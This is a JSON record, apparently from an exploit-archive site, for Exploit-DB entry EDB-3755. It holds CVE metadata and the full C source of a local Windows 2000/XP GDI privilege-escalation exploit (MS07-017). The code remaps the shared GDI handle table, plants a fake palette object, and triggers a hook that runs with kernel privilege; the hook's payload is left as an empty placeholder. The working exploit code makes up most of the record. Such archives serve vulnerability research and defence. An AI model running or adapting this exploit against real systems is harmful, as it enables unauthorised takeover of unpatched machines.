{"exploit":{"id":"EDB-3755","name":"Microsoft Windows - GDI Privilege Escalation (MS07-017) (2)","description":"Microsoft Windows - GDI Privilege Escalation (MS07-017) (2)","cves":["CVE-2007-1215","CVE-2007-1213","CVE-2007-1212","CVE-2007-1211","CVE-2007-0038","CVE-2006-5758","CVE-2006-5586"],"author":"Lionel d'Hauenens","published":"2007-04-17","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3755","path":"exploits/windows/local/3755.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3755.c","vulnerabilities":[{"id":"CVE-2007-1215","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the Graphics Device Interface (GDI) in Microsoft Windows 2000 SP4; XP SP2; Server 2003 Gold, SP1, and SP2; and Vista allows local users to gain privileges via certain \"color-related parameters\" in crafted images.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1215","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1215"},"updatedAt":"2024-08-07T12:50:34.789Z","retrievedAt":"2026-11-27T05:12:53.309Z","stale":false,"error":null},{"id":"CVE-2007-1213","state":"PUBLISHED","title":null,"titleSource":null,"description":"The TrueType Fonts rasterizer in Microsoft Windows 2000 SP4 allows local users to gain privileges via crafted TrueType fonts, which result in an uninitialized function pointer.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1213","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1213"},"updatedAt":"2024-08-07T12:50:34.681Z","retrievedAt":"2026-11-27T05:26:17.479Z","stale":false,"error":null},{"id":"CVE-2007-1212","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the Graphics Device Interface (GDI) in Microsoft Windows 2000 SP4; XP SP2; Server 2003 Gold, SP1, and SP2; and Vista allows local users to gain privileges via a crafted Enhanced Metafile (EMF) image format file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1212","cvss":null,"updatedAt":"2024-08-07T12:50:34.866Z","retrievedAt":"2026-11-27T05:42:11.419Z","stale":false,"error":"Some CVE details could not be refreshed"},{"id":"CVE-2007-1211","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified kernel GDI functions in Microsoft Windows 2000 SP4; XP SP2; and Server 2003 Gold, SP1, and SP2 allows user-assisted remote attackers to cause a denial of service (possibly persistent restart) via a crafted Windows Metafile (WMF) image that causes an invalid dereference of an offset in a kernel structure, a related issue to CVE-2005-4560.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1211","cvss":{"version":"2.0","baseScore":7.1,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1211"},"updatedAt":"2024-08-07T12:50:34.521Z","retrievedAt":"2026-11-27T05:26:23.960Z","stale":false,"error":null},{"id":"CVE-2007-0038","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the animated cursor code in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a large length value in the second (or later) anih block of a RIFF .ANI, cur, or .ico file, which results in memory corruption when processing cursors, animated cursors, and icons, a variant of CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this might be a duplicate of CVE-2007-1765; if so, then CVE-2007-0038 should be preferred.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0038","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0038"},"updatedAt":"2024-08-07T12:03:36.879Z","retrievedAt":"2026-11-26T15:05:27.112Z","stale":false,"error":null},{"id":"CVE-2006-5758","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Graphics Rendering Engine in Microsoft Windows 2000 through 2000 SP4 and Windows XP through SP2 maps GDI Kernel structures on a global shared memory section that is mapped with read-only permissions, but can be remapped by other processes as read-write, which allows local users to cause a denial of service (memory corruption and crash) and gain privileges by modifying the kernel structures.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5758","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5758"},"updatedAt":"2024-08-07T20:04:55.433Z","retrievedAt":"2026-11-27T05:42:18.033Z","stale":false,"error":null},{"id":"CVE-2006-5586","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Graphics Rendering Engine in Microsoft Windows 2000 SP4 and XP SP2 allows local users to gain privileges via \"invalid application window sizes\" in layered application windows, aka the \"GDI Invalid Window Size Elevation of Privilege Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5586","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5586"},"updatedAt":"2024-08-07T19:55:53.476Z","retrievedAt":"2026-11-27T05:42:11.482Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3755.png?v=2","url":"https://exploitbin.com/exploits/EDB-3755","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3755/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3755/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nGDI Local Elevation of Privilege Vulnerability Exploit (MS07-017)\n\nCoded by Lionel d'Hauenens\nhttp://www.labo-asso.com\n\nDevelopment:\n------------\nDev-C++ 4.9.9.2\nLinked with /lib/libgdi32.a\n\nReferences:\n-----------\nhttp://www.microsoft.com/technet/security/bulletin/MS07-017.mspx\nhttp://research.eeye.com/html/alerts/zeroday/20061106.html\nhttp://www.milw0rm.com/exploits/3688\nhttp://ivanlef0u.free.fr/?p=41\n\nMarch 16, 2007\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\ntypedef enum _SECTION_INFORMATION_CLASS\n{\n    SectionBasicInformation,\n    SectionImageInformation\n} SECTION_INFORMATION_CLASS;\n\ntypedef struct _SECTION_BASIC_INFORMATION {\n  ULONG                   Base;\n  ULONG                   Attributes;\n  LARGE_INTEGER           Size;\n} SECTION_BASIC_INFORMATION;\n\ntypedef struct _GDI_TABLE_ENTRY\n{\n   PVOID pKernelInfo;\n   WORD  ProcessID;\n   WORD  _nCount;\n   WORD  nUpper;\n   BYTE  nType;\n   BYTE  flags;\n   PVOID pUserInfo;\n} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;\n\ntypedef DWORD (WINAPI* NTQUERYSECTION)(HANDLE, ULONG, PVOID,ULONG,PULONG);\nNTQUERYSECTION NtQuerySection;\n\n#define INT3 asm (\".intel_syntax noprefix\"); __asm (\"int 3\"); asm (\".att_syntax noprefix\");\n#define STATUS_SUCCESS 0\n#define PAL_TYPE 8\n\nDWORD flag_test;\n\nhook (HANDLE pal, COLORREF couleur)\n{\n     // INT3\n     // Executed code with kernel privilege\n     asm (\".intel_syntax noprefix\");\n         __asm (\"cli\");\n\n         // it's the fiesta !!! :)\n\n         __asm (\"sti\");\n     asm (\".att_syntax noprefix\");\n\n     flag_test = 1;\n\n     return (TRUE);\n}\n\nint main(int argc, char *argv[])\n{\n    SECTION_BASIC_INFORMATION SectionInfo;\n    PGDI_TABLE_ENTRY pGdiEntry;\n    PLOGPALETTE pLogPal;\n    HANDLE hPal;\n    PVOID OriginalPalObject;\n    PVOID FalsePalObject;\n\n    HANDLE hThread = GetCurrentThread();\n    DWORD OriginalThreadPriotity = GetThreadPriority (hThread);\n    HANDLE hSection = (ULONG)0;\n    PVOID MapFile = 0;\n    HANDLE hProcess = (HANDLE)0xFFFFFFFF;\n    WORD Pid = GetCurrentProcessId();\n\n   \tNtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( \"ntdll.dll\"),\"NtQuerySection\");\n\n    printf (\"##########################################################\\n\");\n    printf (\"# GDI Local Elevation of Privilege Vulnerability Exploit #\\n\");\n    printf (\"#        All Windows 2000/XP before MS07-017 patch       #\\n\");\n    printf (\"##########################################################\\n\");\n    printf (\"# coded by Lionel d'Hauenens   http://www.labo-asso.com  #\\n\");\n    printf (\"##########################################################\\n\\n\");\n\n    // Search handle section and mapper in virtual memory of user\n    while ((DWORD)hSection<0xFFFF)\n    {\n        SectionInfo.Attributes = 0;\n        MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0);\n        if (MapFile)\n        {\n            NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);\n            if (SectionInfo.Attributes == SEC_COMMIT) break;  // For compatibility with win2k\n            UnmapViewOfFile(MapFile);\n            MapFile = 0;\n        }\n        hSection++;\n    }\n\n    if (!MapFile)\n    {\n       printf (\"Could not found shared section !\\n\");\n       exit(0);\n    }\n\n    // Create Palette\n    pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);\n    pLogPal->palNumEntries = 1;\n    pLogPal->palVersion = 0x300;\n    hPal = (HANDLE)CreatePalette(pLogPal);\n\n    if (!hPal)\n    {\n       printf (\"Could not create palette !\\n\");\n       exit(0);\n    }\n\n    // Search the entry of pal object\n    OriginalPalObject = (PVOID)0;\n    pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;\n    while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)\n    {\n          if ( pGdiEntry->ProcessID == Pid  &&\n                  pGdiEntry->nType == PAL_TYPE )\n          {\n              // Save original pointer\n              OriginalPalObject =  (PVOID)pGdiEntry->pKernelInfo;\n              break;\n          }\n          pGdiEntry++;\n    }\n\n    if (!OriginalPalObject)\n    {\n       printf (\"Could not find entry of Pal object !\\n\");\n       exit(0);\n    }\n\n    // Create the false Pal object\n    FalsePalObject                   = (PVOID) calloc(0x100/4,4);\n    ((PDWORD)FalsePalObject)[0]      = (DWORD)hPal;   // Handle\n    ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1;     // Availabled flag\n    ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex\n\n    printf (\"Section:\\n--------\\n\");\n    printf (\"Handle: 0x%08X    Attributes: %08X    Size: 0x%08X\\n\\n\", hSection\n                                                                    , SectionInfo.Attributes\n                                                                    , SectionInfo.Size.QuadPart);\n    printf (\"Pointer of original pal object: 0x%08X\\n\", OriginalPalObject);\n    printf (\"Address of user map: 0x%08X\\n\", MapFile);\n    printf (\"Pointer of false pal object: 0x%08X\\n\", FalsePalObject);\n    printf (\"Entry of GDI palette in user view: 0x%08X\\n\", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );\n    printf (\"Address of Hook(): 0x%08X\\n\\n\", &hook);\n\n    //////////////////////////////////////////////////////////////////////////////\n    //////////////////////////////////////////////////////////////////////////////\n    printf (\"->Test...\");\n    flag_test = 0;\n    SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST);\n\n         // Active false Pal object\n         pGdiEntry->pKernelInfo = FalsePalObject;\n\n              GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);\n\n         // Restore original Pal object\n         pGdiEntry->pKernelInfo = OriginalPalObject;\n\n    SetThreadPriority (hThread,OriginalThreadPriotity);\n    //////////////////////////////////////////////////////////////////////////////\n    //////////////////////////////////////////////////////////////////////////////\n\n    if (!flag_test) printf (\"ERROR !!!\\n\");\n    else printf (\"OK :)\\n\");\n\n    UnmapViewOfFile(MapFile);\n    DeleteObject ((HANDLE)hPal);\n    free((PVOID)pLogPal);\n    free((PVOID)FalsePalObject);\n    system(\"PAUSE\");\n    return (0);\n}\n\n// milw0rm.com [2007-04-17]","sha256":"05731dd02e27c9ec16124091b5ec6d78735c7b4e00a763cbed8669f40eac1022","bytes":6136,"fetchedAt":"2026-11-27T05:12:48.614Z","encoding":"utf-8 (display only; download retains original bytes)"}